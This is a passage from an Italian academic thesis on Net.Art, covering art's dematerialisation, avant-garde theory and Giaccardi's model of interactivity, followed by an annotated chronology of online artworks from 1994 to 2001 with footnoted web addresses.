Le idee sottese all’uso del satellite per fini artistici, della 

telecomunicazione in genere, così come i lavori di forzatura di mezzi 

monodirezionali come la TV, sono destinate a confluire nelle 

sperimentazioni dei movimenti di Net.Art, con una differenza: le 

opere delle nuove avanguardie sono molto più facilmente 

producibili, accessibili da chiunque abbia un collegamento ad 

Internet e si sviluppano in un contesto eterogeneo e 

multiframmentato come quello della Rete.  

 

Dematerializzazione e dialettica negativa 

 

Se le Avanguardie storiche dell’inizio del ‘900 sono state le 

prime esperienze da studiare per andare a ricercare le caratteristiche 

fondamentali, di critica e di rottura, che si ritrovano riproposte nelle 

opere d’Arte della Rete, diventa importante considerare il processo 

che durante il secolo scorso ha portato l’Arte in generale a 

dematerializzarsi. Lucy Lippard, nell’ormai famoso saggio “Six years: 

The dematerialization of the art object”(1977), mette in rilievo proprio 

questa dinamica. Bonito Oliva parla invece di ‘anoressia’27 usando un 

termine forse più connotato negativamente. Nel 1985 il sociologo 

francese Jean-François Lyotard curò, insieme a Thierry Chaput, la 

                                            
27 http://www.mediamente.rai.it/home/bibliote/intervis/b/bonitool.htm#link001 (u.a. 16/5/2003) 
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realizzazione di una mostra epocale: “Les Immatériaux”. Nella 

presentazione il filosofo francese afferma:  

“Perché ‘Immateriali’? La ricerca e lo sviluppo nelle tecno-scienze, 
nell’arte e nella tecnologia, e - sì - anche nella politica, danno 
l’impressione che la realtà, qualunque essa sia, stia diventando 
sempre più intangibile e che non possa mai essere controllata 
direttamente; danno l’impressione di una complessità nelle cose. 
(...) Gli stessi strumenti stanno diventando sempre più complessi; 
un passo fondamentale è stato fatto quando le loro menti artificiali 
hanno cominciato a lavorare con dati digitali, con dati che non 
hanno nessuna analogia con la loro origine. E’ come se un filtro 
fosse stato posto fra noi e le cose, uno schermo di numeri. (...) Un 
colore, un suono, una sostanza, un dolore o una stella ci ritornano 
indietro sotto forma di dati digitali in schemi di estrema precisione. 
Grazie a sistemi di codifica e decodifica impariamo che esistono 
realtà che sono in senso nuovo intangibili. La stessa buona vecchia 
materia fisica alla fine ci giunge come qualcosa che è stato dissolto e 
ricostruito sotto forma di formule complesse. La realtà consiste di 
elementi, organizzati in regole strutturali (matrici) secondo misure 
non più umane di spazio e di tempo.” (cit in Kluitenberg 2001) 
E’ il concetto di realtà a diventare sempre più malleabile, 

assimilabile al totale dei messaggi che su di essa, nei modi più 

diversi, vengono veicolati. Le macchine che trasportano tali messaggi 

sono sempre più complesse, così come complessi e moltiplicati si 

rivelano essere i contatti tra queste e gli esseri umani. Il digitale 

rappresenta il livello di astrazione massimo. Il mondo intero, e le 

esperienze che di esso si fanno, diventano una questione di 

codificazione. Come spiega Eric Kluitemberg in una mail postata28 su 

Nettime il cui titolo è “Trasfigurazione dell’avanguardia: 

la dialettica negativa della rete”29, Lyotard vede in questo una 

                                            
28 Neologismo derivato dall’ inglese to post 
29 http://amsterdam.nettime.org/Lists-Archives/nettime-l-0201/msg00104.html (u.a. 16/06/2003) 
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trappola della logica tecnoscientifica legata al tardo capitalismo. La 

digitalizzazione segnerebbe 

 “L’incorporazione finale dell’esperienza nello schema finito del 
codice – la matrice digitale” (2001).  
Se è vero che la mercificazione capitalistica investe ogni 

territorio e ogni reame, compresi quelli digitali, e se è vero che anche 

la bellezza e l’arte sono diventate appannaggio di indagini di 

marketing, questo non vuol dire che non possano esistere margini di 

movimento controculturale e nicchie di resistenza che possano 

sfruttare le nuove esperienze sul web. 

 In merito alla questione sulla dematerializzazione condivido la 

tesi che fa emergere Elisa Giaccardi quando tenta una riflessione 

generale sulle nuove condizioni di “esistenza e consistenza” 

all’interno del cyberspazio. Un’opera immateriale è sganciata 

dall’oggetto materiale che serve a farla emergere. Nel reame digitale 

l’opera, che  appare richiamata da un accesso, non è che informazione 

codificata in linguaggio binario. L’opera non si può tradizionalmente 

‘toccare’ perché appartiene ad un diverso livello di realtà. È il 

concetto di materia a dover cambiare. L’informatica ragiona sui 

processi e li prende in considerazione come se fossero materiali. I 

nuovi step creativi si basano sull’attivazione di funzioni e processi, 

sull’attivazione piuttosto che sulla realizzazione:  

“Oggi quindi occorre pensare sempre più spesso a un materiale 
come a un operatore complesso, il quale, a monte del progetto, si 
presenta più come un insieme di possibilità di calcolo e di sistemi 
di processo che come un’entità fisicamente determinata. […] una 
nuova materialità fatta più di linguaggi e di flussi di informazione che di 
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tangibile materialità” (Cau in Giaccardi, 2001: 6) 
 In merito alla questione sulla totalizzazione della mediazione 

digitale, da cui in molti non vedono margini di fuga da una logica 

capitalistica, è interessante il discorso di Kluitenberg, che prende 

invece in considerazione le strategie delle vecchie e delle nuove 

avanguardie artistiche come armi efficaci per attacchi critici e 

diversioni simboliche ai sistemi costituiti. Essendo mutato il contesto 

in cui le strategie d’avanguardia vengono applicate, muta anche il 

campo d’azione in cui si estendono i loro effetti: da quello artistico a 

quello economico, politico e sociale. 

Un utile strumento teorico per capire le strategie d’avanguardia 

può essere rintracciato nella dialettica negativa di Adorno (1966), 

esponente della Scuola di Francoforte. Senza entrare troppo nello 

specifico filosofico del suo pensiero, basta dire che con la dialettica 

negativa si intendeva criticare il sistema hegeliano, che assimila 

razionalità a realtà, e che aspira a cogliere delle ‘totalità’ universali, 

filosofiche o politiche, reprimendo tutto ciò che è particolare. Il 

momento dialettico negativo è quello che  fa emergere il non-

identico, ciò che è alternativo o differente.  Le tecnologie mediatiche 

di broadcasting, per esempio, si basano sulla messa in scena di 

un’esperienza che dovrebbe rimanere incontestata e inviolabile, 

almeno secondo le intenzioni dei produttori. La liscia superficie dello 

schermo cela i meccanismi che operano dietro. Ecco perché il flusso è 

ininterrotto e senza soluzioni di continuità. L’interruzione del flusso è 
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considerata la massima forma di orrore, è tabù. Horror vacui. 

L’interruzione del flusso dà la consapevolezza del mezzo, spezza 

l’illusione di immediatezza, rompe la sicurezza dello schermo che 

prima appariva trasparente.  

“E’ nel momento in cui il flusso si interrompe, quando il codice si 
spezza o quando l’audio crolla e lo schermo si spegne, che si crea la 
possibilità di un messaggio alternativo, di un nuovo codice.” 
(Kluitemberg, 2002) 
La ‘negazione’, intesa in questa occasione come il vuoto, il 

silenzio o l’alterazione del segnale, crea uno spazio in cui i messaggi 

alternativi possono innestarsi. Le esperienze delle avanguardie sono 

le più significative in questo senso, perché sono quelle che rivolgono 

un’attenzione maggiore ai codici specifici dei media per sovvertirli. 

Le avanguardie del ‘900 hanno risposto ai cambiamenti della società 

moderna ponendosi il problema da un punto di vista del linguaggio 

stesso. Se l’individuo moderno è alienato, l’avanguardia si pone il 

problema mettendo in questione un linguaggio a sua volta alienato. È 

ancora utile mettere in risalto il processo che ha legato gli artisti 

d’avanguardia al pubblico. Walter Benjamin aveva riconosciuto 

nell’arte dadaista “un proiettile sparato contro il pubblico”(1955). Le 

cosiddette avanguardie storiche sono le prime a chiamare in causa gli 

spettatori, le opere erano pensate per causare uno shock, una 

reazione. La seconda ondata, che si sviluppa negli anni ’60 e ’70 con 

esperienze come Gruppo ’63 o Fluxus, ripensano le avanguardie 

precedenti riflettendo sulla comunicazione e i linguaggi di massa. Gli 

happening pubblici prevedevano letteralmente l’entrata della gente 
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nell’opera. Erano opere collettive e di comunicazione. Gli artisti 

cercano il contatto con il pubblico, bypassando le pubbliche 

istituzioni deputate a metterli in contatto. Con la terza ondata, che è 

quella che io individuo negli esperimenti digitali di Net.Art, il 

pubblico diventa quasi la cifra più importante, l’interattività prevede 

un intervento attivo che addirittura fa sfumare le differenze tra 

creatore e utente. Chiamare ‘pubblico’ gli utenti delle opere in Rete è 

fuorviante: bisognerebbe chiamarli ‘partecipanti’. “Partecipare” non è 

un’opzione, è una condizione.   

 Il nuovo panorama mediatico, assimilabile all’insieme delle 

Reti telematiche interconnesse, è già pieno di interventi che traggono 

ispirazione dai primi movimenti d’avanguardia. L’insieme dei 

movimenti che confluiscono nella Net.Art, che sostanzialmente si 

definiscono artistici, sono stati quelli che con maggior successo hanno 

messo alla prova non solo la mediazione digitale, ma anche cosa sia 

l’esperienza stessa su Internet. La realtà digitale, con le sue promesse 

mai mantenute di stabilità, con le sue illusioni di maggiore libertà, 

viene messa alla prova in modo estremamente efficace da quelle che 

posso tranquillamente definire come le ‘nuove avanguardie 

telematiche ’ per la loro attenzione ai linguaggi specifici del web, il 

loro porsi in maniera fortemente provocatoria, l’attenzione verso i 

pericoli della massificazione anche in un sistema – Internet - che 

dovrebbe far esplodere i particolarismi e le diversità.   
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“Internet non ha bisogno di verità, ma di trackers: apri - pista del 
senso” (Piero Deggiovanni – Adorno on the Web)30 
La sfera digitale è inestricabilmente connessa con quella ‘reale’. 

Le reti di media e gli ambienti fisici sono diventati connessi al punto 

tale che mi pare inutile pensare ad  un’opposizione tra ‘reale’ e 

‘virtuale’. Siamo di fronte a realtà eterogenee in cui i livelli simbolici 

si sono moltiplicati, i flussi immateriali generano conseguenze molto 

materiali. Basti pensare ai movimenti della finanza internazionale, 

che ormai trascendono i limiti geografici fisici utilizzando le rotte 

telematiche. In Internet gli utenti vivono contesti diversi 

contemporaneamente, grazie alla logica del multitasking i computer 

possono mantenere diverse finestre aperte allo stesso tempo. Il lavoro 

e lo svago si mischiano in maniera inedita durante le stesse sessioni. 

Se in una finestra posso avere le informazioni del giorno, in un’altra 

posso controllare il mio conto in banca, in un’altra ancora eccitarmi 

con le immagini pornografiche di un’attrice avvenente. Tutto sullo 

schermo del mio Pc, nel medesimo istante, accessibile.  In uno 

scenario come questo gli interventi artistici che osserviamo in Rete 

non si accontentano più di agire nel dominio dell’Arte, nella critica 

dell’estetica, piuttosto che nella messa in questione del genio 

romantico, dell’autorità dell’autore piuttosto che della stabilità di 

convenzioni o di canoni per nulla universali.  E’ la composita Realtà 

Digitale Interconnessa ad essere messa in discussione, quindi quella 

artistica, quella sociale, quella economica e quella politica.   

                                            
30 http://www.geocities.com/SoHo/Square/3035/adorno.htm (u.a. 15/5/2003) 
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“E’ il sistema in cui la realtà stessa (cioè l’esistenza 
materiale/simbolica delle persone) viene interamente catturata e 
immersa in un’ambientazione di immagini virtuali, nel mondo del 
far credere, in cui le apparenze non sono solo sullo schermo 
attraverso il quale l’esperienza viene comunicata, ma diventano 
l’esperienza. Ogni tipo di messaggio finisce racchiuso nel medium, 
perché il medium è diventato talmente inclusivo, diversificato, 
malleabile da assorbire nello stesso testo multimediale l’intera 
esperienza umana, del passato, presente e futuro, come in quel 
punto unico dell’universo che Jorge Luis Borges ha chiamato 
Aleph.” (Castells 1996: 373)  
 

Net.art in tre movimenti 

 

“E’ come una immersione, un coinvolgimento che lascia presagire 
nuove pratiche e nuovi comportamenti sociali, i quali trovano 
terreno in una materialità fluida e performativa. È come uno spazio 
vuoto schiuso da un linguaggio, in qualche modo pre-linguistico, 
fatto di processi-materiali e vissuto in modo connettivo e 
interattivo. Uno spazio in cui ‘ogni cosa è attiva e interattiva ’, fuori 
del quale nulla potrebbe accadere, nessuna opera potrebbe avere 
luogo, dividendo essere e non essere, ancora e non ancora, one 
off.”(Giaccardi 2002)31 
 

La Net.Art nasce dall’insieme di alcuni fattori indispensabili: 

interattività, flussi di dati, connessioni telematiche. Lo spazio in cui si 

svolge è uno spazio virtuale di pure possibilità, gli oggetti con cui si 

cimenta sono processi e scambi comunicativi. Secondo l’analisi di 

Elisa Giaccardi sarebbero tre i movimenti da considerare per 

un’analisi della Net.art.   

Scambio Interattivo 

                                            
31 Elisa Giaccardi – “Movimenti e Passaggi: la lezione della Net Art”  
http://www.bigguest.net/riflessioni/index_e.html (n.r. 28/05/2003) 
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L’interattività, nell’ambito dei discorsi sulle nuove tecnologie,  

concerne le azioni reciproche che si innescano tra utente e sistema e 

tra utenti e altri utenti. Nel caso di un sistema: più è alto il livello di 

interattività più lo ‘spazio di creazione ’ ha la possibilità di 

modificarsi, ampliarsi, diventare più complesso. Per usare i termini 

coniati da Levy: più è alto il livello interattivo maggiore sarà la 

virtualizzazione del sistema. Maggiore la virtualizzazione  maggiori 

le possibilità di attualizzazione da parte degli utenti, quindi la 

capacità di creare eventi che modifichino il sistema. L’apporto 

creativo degli utenti è quindi data dall’interattività, ma esistono 

differenze di scala tra i diversi tipi di interattività.  La prima 

opposizione si determina tra un’ ‘interattività di selezione ’ e un’ 

‘interattività di contenuto ’. La prima  porta l’utente a scegliere un 

percorso tra un serie già preordinata. È il caso della maggior parte 

degli ipertesti presenti sul web: non viene creata nuova informazione, 

essa viene semplicemente richiamata. La seconda mette l’utente nelle 

condizioni di creare un nuovo contenuto nei limiti dell’architettura 

del sistema e del grado di performatività prevista. All’interno 

dell’interattività di contenuto, definita da Giaccardi anche 

‘interattività creativa ’, esiste ancora un’ulteriore distinzione. 

L’attività dell’utente può essere partecipativa o collaborativa. Nel 

primo caso l’opera si arricchisce con il contributo degli utenti, che 

possono per esempio inviare  file. Questi però hanno una 

collocazione prevista, l’artista può intervenire nel filtrare, modificare 
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o cancellare l’apporto degli utenti. Nel caso di un’interattività 

collaborativa l’opera trova il suo senso nella collaborazione stessa.  

“La creazione si basa su dinamiche e strategie di interazione e 
collaborazione che operano su rapporti interpersonali, meccanismi 
collettivi o qualsiasi altro pattern di relazioni” (4).  
 
Morfogenesi 

L’alto tasso di interattività pone l’opera in una condizione di 

fluidità. Non esiste più un’opera racchiusa in se stessa perché non 

esistono più i  suoi confini. Gli stessi hyperlink distruggono la 

nozione di confine a causa degli infiniti salti e associazioni che 

possono generare. Dove finisce un’opera e dove ne inizia un’altra? Il 

confine potrebbe essere riconosciuto lì dove il flusso viene interrotto, 

dove la connessione si arresta: quando non siamo più online. Ma 

questo non è più vero se si prendono in considerazione quelle opere 

che nascono sulla Rete e si sviluppano anche in contesti fisici. Non c’è 

più delimitazione tra vita online e vita reale: è semplicemente la vita 

che ora ha ulteriori spazi d’azione e nuovi margini di azioni 

comunicative grazie alle nuove tecnologie. La Giaccardi introduce la 

‘morofogenesi ’ dell’opera on-line evidenziando il carattere 

“intrinsecamente non più autosufficiente”. L’interattività creativa 

modifica continuamente lo stato ontologico dell’opera e la sua 

“emergenza semiotica”.   

Emergenza del Senso 

Il terzo movimento inquadrato da Elisa Giaccardi segna ancora 

una differenza con le opere d’arte tradizionali, soprattutto rispetto a 
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quelle senza un significativo stampo interattivo. Un’opera è sempre 

aperta all’interpretazione e alla deriva dei significati, ma nel caso 

delle opere in cui l’attiva partecipazione dell’utente sia 

intrinsecamente necessaria, i significati che l’utente dà nella 

processualità dell’evento comunicativo artistico che fruisce 

determinano in qualche modo il cambiamento dell’opera stessa. Il 

senso che ne emerge è “matericamente in gioco” come sono in gioco i 

dati digitali. È continuo insomma lo scambio tra il sistema-opera e 

l’orizzonte percettivo, sociale e culturale. Questo scambio, all’interno 

del contesto previsto dall’opera, modifica l’utente, modifica il 

contesto e modifica l’opera stessa. I significati si caricano quindi di 

una valenza trasformatrice importantissima. 

 “Dare, scoprire o condividere un senso per l’opera vale tanto 
quanto il “farla” e  il “mutarla” (o vederla mutare): attiene al 
medesimo processo.” (Giaccardi, 1997: 125) 
 

1994-2001 – PICCOLA CRONOLOGIA RAGIONATA 
La Net.Art non sarebbe esistita senza le avanguardie storiche, 

senza le esperienze artistiche degli anni ’60 e ’70 tra le quali Fluxus ha 

rappresentato  la riflessione più attenta alle commistioni tra arte e 

tecnologie, senza le pratiche marginali di Mail Art e senza gli 

esperimenti con la fascinazione della telecomunicazione.  

Azzardo un piccolo percorso dei progetti in Rete a partire dal 

1994, anno in cui si inizia a parlare di Net.Art. E’ impossibile rendere 

conto di tutto ciò che avveniva, anche perché molte delle opere non 
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sono più reperibili online, mentre altre sono scarsamente 

documentate dai magazine che si occupano di arte in rete. Seguendo 

un rigoroso ordine cronologico ho scelto di riportare quelle 

esperienze che si caratterizzano per creatività, innovatività e rottura 

rispetto al passato. Le opere che ho ritenuto più interessanti saranno 

oggetto di un’analisi più completa nella seconda parte di questa tesi. 

 

Il 1994 è una data fondamentale perché segna l’inizio di 

progetti sperimentali più concreti mirati a mettere alla prova tutte le 

possibilità della Rete. David Blair realizza il primo esperimento di 

cinema interattivo in 3D su Internet, Waxweb32, in cui immagini, 

suoni e testo si mescolano in una storia non lineare il cui sviluppo 

dipende dall’intervento degli utenti. Nello stesso anno un artista 

professore di ingegneria coniugò robotica e archeologia nel “The 

Mercury Project”33: gli utenti attraverso internet potevano manovrare 

un robot teleguidato alla ricerca di misteriosi oggetti posti nella 

sabbia. Furono circa 2 milioni e mezzo i visitatori coinvolti, non più 

passivi, ma partecipi di un gioco la cui interattività costituirà una 

caratteristica chiave della Net.Art.  

“WRITE, PERFORM, OR SING ANYTHING YOU WISH TO ADD 
IN WHATEVER LANGUAGE YOU LOVE TO THIS 
COLLABORATIVE WORK, JOINING HANDS AND MINDS 
WITH YOUR SISTERS AND BROTHERS OF WHATEVER RACE, 
REGION, OR BELIEF ANYWHERE IN THE WORLD....[…] In a 
day or so, we'll load you onto The Sentence, with or without your 

                                            
32 http://www.waxweb.org/ (u.a. 20/05/2003) 
33 http://www.usc.edu/dept/raiders/ (u.a. 20/05/2003) 
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Julia Sher 
Security Land 

name as you wish.” (How to Join in Making the World's First 
Collaborative Sentence34) 
Questo il testo che invita gli utenti della Rete a prendere parte 

alla prima proposizione collaborativa e 

multimediale35. L’autore dell’opera scompare 

definitivamente. 

 

Il 1995 è l’anno della lettera a Vuk Cosic 

(vedi sopra).  Michaël Samyn, fondatore del 

collettivo Group Z, presenta “Love”36, un progetto che esplora i 

confini tra pubblico e privato offrendo punti di vista diversi 

sull’amore. Al di là delle immagini gli utenti possono partecipare 

lasciando i propri segreti più intimi agli occhi dei visitatori. La 

preoccupazione sui sistemi di controllo sugli individui iniziano ad 

essere investigati. Uno dei primi lavori è quello di Julia Sher, 

“SecurityLand”37 che sottopone l’utente ad un ironico interrogatorio. 

Stereotipi, corpo e identità vengono invece trattati dall’opera di John 

Tonkin “Elective Physiognomies”38, che modifica digitalmente il suo 

volto e fa decidere agli utenti degli aggettivi sullo sfondo della teoria 

della fisiognomica. Sempre sulla scia della telerobotica applicata ad 

Internet Goldberg inaugura Telegarden in occasione di Ars 

Electronica. Questa volta gli utenti piantano semi, regolano e 

                                            
34 http://ca80.lehman.cuny.edu/davis/writesentence.html (u.a. 20/05/2003) 
35 http://ca80.lehman.cuny.edu/davis/Sentence/sentence1.html (u.a. 20/05/2003) 
36 http://adaweb.walkerart.org/~GroupZ/LOVE/ (u.a. 20/05/2003) 
37 http://adaweb.walkerart.org/project/secure/corridor/sec1.html (u.a. 28/05/2003) 
38 http://www.johnt.org/meniscus/physiog/physiog.html (u.a. 20/05/2003) 
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controllano la crescita delle piante grazie ad una telecamera. Nasce il 

Network “The Thing”39, comunità socio-virtuale he unisce artisti, 

critici e operatori culturali. Grazie ad un sito Internet in diverse 

lingue il progetto, nato da un artista concettuale austriaco, inizia a 

collezionare, promuovere e 

diffondere le opere di 

Net.Art, e si fa territorio di spinta per le prime esperienze di 

attivismo online.  

Jodi inizia a trasmettere i suoi disturbi online nel 1995 Jump to 

pag. 153 

 

 

Il 1996 è l’anno dell’esplosione della Net.Art. I siti che 

propongono opere da fruire esclusivamente in Rete aumentano 

vertiginosamente. 

L’ipertesto si conferma come un dispositivo che trasforma 

radicalmente la narratività tradizionale e le sue strutture. Artisti 

come Thomas Balzer realizzano opere in cui è forte l’elemento 

interattivo e ipertestuale. In “Nose of the Night” l’utente si trasforma 

in un detective di un film in stile noir chiamato a risolvere gli intrighi 

di personaggi che hanno tutti la forma di nasi antropomorfizzati. 

Merel Mirage, con “Poem* Navigator” presenta all’utente un antico 

                                            
39 http://bbs.thing.net/login.thing (u.a. 21/05/2003) 
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Olia Lialina - My boyfriend came back from the 
war  

poema cinese analizzandolo nei suoi dettagli e cercando connessioni 

tra due lingue distanti come l’inglese e il cinese.  

L’artista russa Olia Lialina, a partire da un’esperienza 

personale, racconta in ipertesto “My boyfriend came back from the 

war”40, mischiando i livelli narrativi e dando all’utente la possibilità 

di muoversi nell’architettura ipertestuale, composta di diverse 

finestre, di un dialogo tra un ragazzo e una ragazza. Il russo Alexei 

Shulgin e lo sloveno Vuk Cosic lanciano “Refresh”41, una catena di 

pagine web linkate tra loro che si aggiornano ogni 10 secondi 

teletrasportando l’utente da una parte all’altra.  Heath Bunting lancia 

“CCTV (Close Circuit Television) A World Wide Watch”42. Vengono 

utilizzate una serie di telecamere a circuito chiuso e di webcam 

disposte in alcuni ambienti per riflettere sul tema del controllo e della 

privacy. Gli utenti sono chiamati ad osservare e a riportare gli 

eventuali crimini alla polizia. 

Nello stesso anno 

nascono due gloriosi 

network: Rhizome.org43, 

forse il portale dedito 

alla Net.Art più visitato, 

almeno fino al 2002, 

anno in cui i suoi 

                                            
40 http://www.teleportacia.org/war/  (u.a. 21/05/2003) 
41 http://redsun.cs.msu.su/wwwart/refresh.htm (u.a. 21/05/2003) 
42 http://www.irational.org/cgi-bin/cctv/cctv.cgi?action=main_page (u.a. 21/05/2003) 
43 http://www.rhizome.org/ (u.a. 21/05/2003) 
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Paul Vanouse - PersistentDataConfidante

creatori hanno deciso una formula a pagamento per la fruizione; 

Syndicate44, che a partire da un’idea dell’organizzazione V2 di 

Rotterdam, unisce Istituti, artisti, o semplici appassionati dediti alla 

critica dei media o alla media art.  

Viene lanciato il primo progetto su corpi e Avatar: “bodies© 

incorporated” jump to pag.  145 

Migliaia di utenti sono fatti oggetto di un rapimento digitaleda 

parte degli etoy: “Digital hijack”   143 

Gli scherzi ludici e le fantasie di “Mouchette”45 fanno diventare 

una ragazzina adolescente una star avanguardista jump to pag. 137 

 

1997 Il movimento prende sempre più consistenza e 

l’entusiasmo arriva al massimo. Con l’entusiasmo arrivano le critiche 

da parte di coloro i quali iniziano ad avvertire il passaggio di un 

movimento nato dal basso agli allori del riconoscimento istituzionale.  

Paul Vanouse gioca con i segreti con 

“PersistentDataConfidante”46. 

Si confida un segreto e se ne 

riceve in cambio un altro da 

parte di un altro utente in 

forma rigorosamente anonima. La lettura dei segreti è sottoposta ad 

una votazione in modo tale da escludere quelli valutati meno 

                                            
44 http://colossus.v2.nl/syndicate/index_frames.html (u.a. 21/05/2003) 
45 http://www.mouchette.org (u.a. 26/05/2003) 
46 http://www.textgenomics.com/10.html (u.a. 21/05/2003) 
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interessanti dagli utenti. Guillermo Gómez-Peña, un artista 

messicano che vive e lavora negli Stati Uniti, utilizza le confessioni 

degli utenti su “The temple of Confessions”47 in merito ai loro peccati 

etnici o religiosi. Con i dati collezionati dà vita ad un etnocyborg che 

anima durante alcune performance. Mark Amerika crea il 

“Grammatron”48,  un ”ambiente narrativo di pubblico dominio” che 

mischia Cabala, tecnomisticismo e sesso virtuale per un’esplosione 

definitiva della narratività. Gli utenti si muovono tra più di 1000 testi, 

200 link e 40 minuti di musiche originali.  “The simulator”49: Garnet 

Hertz mette in scena con ironia una giornata tipica in cui l’utente 

prende diverse decisioni. Il percorso di questa giornata si dipana 

differentemente a seconda delle scelte dell’utente.  

Nascono i browser alternativi, il primo è Webstalker jump to 

pag. 157 

®Tmark inizia le sue azioni di sabotaggio creativo contro le 

multinazionali jump to pag. 141 

 

1998 Arriva il riconoscimento pubblico. Documenta X, 

manifestazione dedita alle nuove tendenze artistiche sperimentali, 

include diversi progetti di Net.Art nel suo programma.  In seguito i 

musei e i curatori più proiettati verso il contemporaneo inizieranno a 

commissionare opere specifiche per il web. Joachim Blank e Karl 

                                            
47 http://www.echonyc.com/~confess/ (accessibile solo homepage)  
48 http://www.grammatron.com/ (u.a. 21/05/2003) 
49 http://www.conceptlab.com/simulator/ (u.a. 21/05/2003) 
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Heinz Jeron realizzano “Dump you trash”50, opera provocatoria che 

spinge l’utente a pagare 1.500 dollari perché il suo sito sia etichettato 

come ‘opera d’arte’e la sua homepage sia tramutata in una targa di 

marmo che riceve a domicilio. Sul sito è presente l’archivio di tutte le 

homepage marmorizzate. La deriva di navigazione finisce per 

generare non-senso, è questa la scommessa di  Absurd.org. le cui 

pagine hanno davvero poco a che fare con la narrativa o con un’idea 

d’opera d’arte vagamente tradizionale.  

Inizia il riciclaggio di materiali digitali inutili con “Digital 

Landfill” di Mark Napier jump to pag. 151 

Sulla scia dei browser alternativi “The Shredder” porta la 

navigazione del web ad un livello impazzito jump to pag. 

Nasce “Superbad”. Nessuna spiegazione, nessuna nota 

biografica. Un campo da gioco per navigatori temerari, che non 

hanno paura di provare un’esperienza di smarrimento. jump to pag. 

139 

Dollyoko produce “Hauntings”, la prima opera interattiva sulla 

rete con cui io mi sia mai cimentato jump to pag. 151 

 

1999 Internet è ormai un territorio in cui si formano migliaia di 

aziende in cerca di fatturati. Anche la Net.Art attraversa un processo 

in cui i paradigmi dell’arte tradizionale cercano di imporsi anche nei 

livelli commerciali. Un dibattito accesissimo porta il gruppo degli 

                                            
50 http://sero.org/Sero/dyt/ (u.a. 21/05/2003) 
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01.org  ad effettuare azioni molto provocatorie di clonazione e 

plagiarismo. E’ l’anno di “Net_Condition”51, organizzato dallo ZKM 

a Karlsruhe, momento cruciale per una riflessione sulla condizione 

della Rete con un occhio particolare alle interazioni tra tecnologia e 

società.  Alexei Shulgin inventa una serie di attrezzi che portano il 

fruitore di Internet a concentrarsi esplicitamente sulla comunicazione 

sessuale con una serie di immagini abbastanza esplicite. Purtroppo la 

pagina non è più visibile, ma il progetto è documentato sul catalogo 

di Net_Condition (vedi bibliografia). L’arte tradizionale è messa in 

gioco con il progetto di Teo Spiller, “Hommage to Mondrian”, che 

sfida l’utente a creare una sua versione di un celebre dipinto di 

Mondrian. Alexei Shulgin e Natalie Bookchin scrivono il primo 

manifesto –ironico – della Net.Art “Introduction to net.art 1994 – 

1999”52 

Mark Napier continua con i browser alternativi creando Riot, il 

primo navigatore multiutente jump to pag. 

Olia Lialina, insieme ad Heath Bunting, ragiona sull’identità 

creando “Identity Swap Database” un database in cui poterla 

scambiare jump to pag. 147 

Viene lanciata la campagna  etoy finanziata da ®Tmark  jump 

to pag. 141 

2000 L’accettazione della Net.Art come disciplina specifica e 

riconosciuta da importantissime istituzioni viene sancita in 

                                            
51 http://on1.zkm.de/netCondition.root/netcondition/start/language/default_e (u.a. 21/05/2003) 
52 http://www.easylife.org/netart/catalogue.html (u.a. 21/05/2003) 
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Alzado Vectorial - Rafael Lozano-
Hemmer – Mexico city 

quest’anno, quando viene inserita nella Biennale del Whitney 

Museum. E’ la prima nuova disciplina dopo l’inserimento del video 

nel 1975. Per festeggiare 

l’avvento del nuovo millennio il 

Consiglio Nazionale per la 

Cultura e le Arti del Messico 

commissiona a Rafael Lozano-

Hemmer una delle sue opere di 

“architettura relazionale”. L’opera che ne venne fuori fu “Alzado 

Vectorial” attraverso la quale gli utenti collegati ad Internet erano in 

grado di manovrare cannoni antiaereo che sparavano luci. La 

scultura si poteva ammirare da una distanza di  25 chilometri. In 

tutto il Messico furono disposti terminali per l’accesso della gente ad 

interagire con la piazza. Andrea Zapp progetta “Little Sister”: “la 

prima telenovela al mondo basata su un circuito di web-cam di 

vigilanza, online 24 ore al giorno”.  26 telecamere riprendono la vita 

quotidiana di una piccola cittadina tedesca. Il progetto riflette sul 

controllo sempre più invasivo anche delle nostre semplici azioni 

quotidiane. Inizia l’attenzione per i software e per la loro 

modificazione creativa. È singolare la storia di John Klima, che 

abbandona Micorsoft per dedicarsi all’arte. Ne viene fuori 

“Glasbead”53, un software che permette la creazione di un ambiente 

tridimensionale in cui possono interagire via Internet fino a 20 
                                            
53 Non più reperibile online 
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persone. Eric Zimmermann lancia “SissyFight”, che mette in scena la 

lotta di alcune ragazzine di un college per arrivare alla notorietà 

distruggendo l’autostima delle avversarie. Ogni utente è una 

studentessa e deve relazionarsi con gli altri utenti, dialogando e 

giocando, per raggiungere lo scopo. Napier lancia ©Bots, attraverso il 

quale gli utenti possono creare la propria icona culturale.  

Il territorio Internet non è mappabile, ecco perché numerosi 

artisti iniziano a cimentarsi con le trasposizioni artistiche dei confini 

della Rete. Lisa Jevbratt crea “1:1” 54 

 

2001 I più grandi musei del mondo organizzano rassegne di 

Net.Art: “010101 Art in Technological Times”al Moma di San Francisco, 

“BitStreams and Data Dynamics” al Whitney Museum di NewYork, 

“Telematic Connections: the virtual embrace” all’ Art Institute di San 

Francisco. I lavori diventano sempre più sofisticati grazie alle 

evoluzioni di software innovativi. Iniziano le modificazioni del 

videogiochi.  In occasione dell’inaugurazione del “Center for 

Contemporary Art” di Glasgow vengono messi online 12 videogiochi 

modificati scaricabili in versione Mac o Pc. “201: a space algorithm”55 

è uno dei migliori progetti di quest’anno. Permette all’utente di 

creare il proprio montaggio della celebre pellicola “2001 Odissea 

nello Spazio” di Stanley Kubrick maneggiando le oltre 607 sequenze 

del film. L’arte del montaggio e la flessibilità de web si  combinano 

                                            
54 http://cadre.sjsu.edu/jevbratt/c5/onetoone/ (u.a. 19/06/2003) 
55 http://www.mccoyspace.com/201/ (u.a. 21/05/2003) 
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per sfidare un mostro sacro della cinematografia. L’interattività è 

ancora il concetto più indagato. Adrian Ward programma “Auto-

illustrator”, un software di grafica in cui gli strumenti si ribellano 

all’utente opponendogli resistenza e imponendo talvolta la propria 

volontà. “Life Sharing” è ancora il tentativo degli 01.org di riflettere 

sull’opposizione pubblico privato. Questa volta viene messo  a 

disposizione di tutti il computer con cui vengono effettuati i lavori, 

gestibile online, con tanto di progetti e documenti. 

Tom Betts lancia il Webtracer, per visualizzare graficamente la 

struttura di una qualsiasi pagina web. Il progetto precede le 

sperimentazioni dei browser alternativi jump to pag. 157 

Sempre gli 01.org approdano alla Biennale di Venezia con un 

virus “Biennale.py” jump to pag. 161 

Jodi modifica uno dei più famosi videogiochi “Quake”, 

facendolo diventare l’opera “Untitled game”. jump to pag. 155 

Il Network Rhizome lancia “Carnivore Art Project”basato sul 

